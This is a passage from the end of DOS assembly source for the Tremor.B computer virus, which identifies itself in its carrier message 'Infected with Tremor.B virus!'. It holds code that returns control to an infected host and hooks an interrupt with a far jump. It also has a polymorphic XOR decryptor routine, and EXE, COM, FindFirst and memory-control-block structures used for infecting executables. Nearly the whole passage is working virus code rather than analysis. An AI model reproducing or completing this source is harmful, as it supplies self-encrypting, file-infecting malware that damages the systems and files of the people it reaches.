		RETF                            ; Pass control over to host.


SUB_55:         MOV     DS, AX

		CMP     BYTE PTR DS:[BX], 'D'
		JE      LOC_193

		CMP     BYTE PTR DS:[BX], 'M'
		JNE     LOC_RET_194

LOC_193:        MOV     AX, DS:[BX+3]

		CMP     AH,0A0H
		JA      LOC_RET_194

		XCHG    CX, AX
		XOR     BP, BP

LOC_RET_194:    RETN


; AX = segment.
Set_JMPF:       MOV     WORD PTR [DI.6], OFFSET NewInt
Set_JMP_Seg:    MOV     BYTE PTR [DI.5], 0EAh   ; JMP FAR opcode.
		MOV     WORD PTR [DI.8], AX

		RETN



Poly_Values     DB      2

Decryptor:
		DB       00H, 03H, 01H

		DB      0E8h, 1Ch, 00h, 0B9h

		DB      0A0H, 0FH,0BAH,0CDH, 00H
		DB      0B4H, 40H, 9CH,0FFH, 1EH, 86H
		DB       00H, 9CH, 50H, 51H,0B0H, 00H
		DB      0A2H, 95H, 10H,0E8H, 04H, 00H
		DB       59H, 58H, 9DH,0C3H
SUB_58:
		MOV     AX, 0000h
		MOV     DI, OFFSET DATA_66
		MOV     CX, 0000h

Crypt_Word:     XOR     [DI], AX

		ADD     AX, 0000h

		INC     DI
		INC     DI

		LOOP    Crypt_Word

		RETN
End_Decryptor:

		DB      32H
DATA_66         DB      0C0H
		DB      0CFH
Virus_End:


Buffer          DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
Jerm            DB      0
		DB      0
		DW      0
		DW      0
		DW      0
		DW      0
		DW      0
Random_Key      DW      0
		DB      0
Gooney          DW      0
		DB      0
Memoy           DW      0
MegaHead        DB      0, 0
DW      0
db 6 dup(0)
NewInt24h:
		DB      2022 DUP(0)


Own_Header      STRUC
		DB      24 DUP(0)
Host_Size       DW      0, 0
Own_Header      ENDS

COM_Header      STRUC
Jump            DB      0
Displacement    DW      0
COM_Header      ENDS


EXE_Header      STRUC
EXE_Mark        DW      0       ; Marker valid .EXE-file: MZ or ZM.
File_Mod_512    DW      0
File_512_Pages  DW      0
Reloc_Items     DW      0
Header_Size_Mem DW      0
Min_Mem_Para    DW      0
Max_Mem_Para    DW      0
Program_SS      DW      0
Program_SP      DW      0
Checksum        DW      0
Program_IP      DW      0
Program_CS      DW      0
Reloc_Table     DW      0
Overlay_Number  DW      0
Undocumented    DW      0
Unused          DW      0
EXE_Header      ENDS


FindFirstHandle STRUC
Handle_Reserved DB      21 DUP(0)
Handle_Attr     DB      0
Handle_Time     DW      0
Handle_Date     DW      0
Handle_Size     DD      0
Handle_Name     DB      13 DUP(0)
FindFirstHandle ENDS


FindFirst_FCB   STRUC
FCB_Drive       DB      0
FCB_Name        DB      8 DUP(0)
FCB_Ext         DB      3 DUP(0)
FCB_Attr        DB      0
FCB_Reserved    DB      10 DUP(0)
FCB_Time        DW      0
FCB_Date        DW      0
FCB_Start_Clust DW      0
FCB_Size        DD      0
FindFirst_FCB   ENDS


MCB_Header      STRUC
MCB_Type        DB      0               ; M = not last block, Z = last block.
MCB_PSP         DW      0               ; PSP-segment of this block.
MCB_Size_Mem    DW      0               ; Size of block in paragraphs.
MCB_Program     DB      8 DUP(0)        ; Filename of program of this block.
MCB_Header      ENDS


Carrier:
		PUSH    CS
		POP     DS

		MOV     AH, 09h
		MOV     DX, OFFSET Warning_Msg
		INT     21h

		MOV     AX, 4C00h
		INT     21h

Warning_Msg     DB      'Infected with Tremor.B virus!', 0Ah, 0Dh, '$'

		END     START
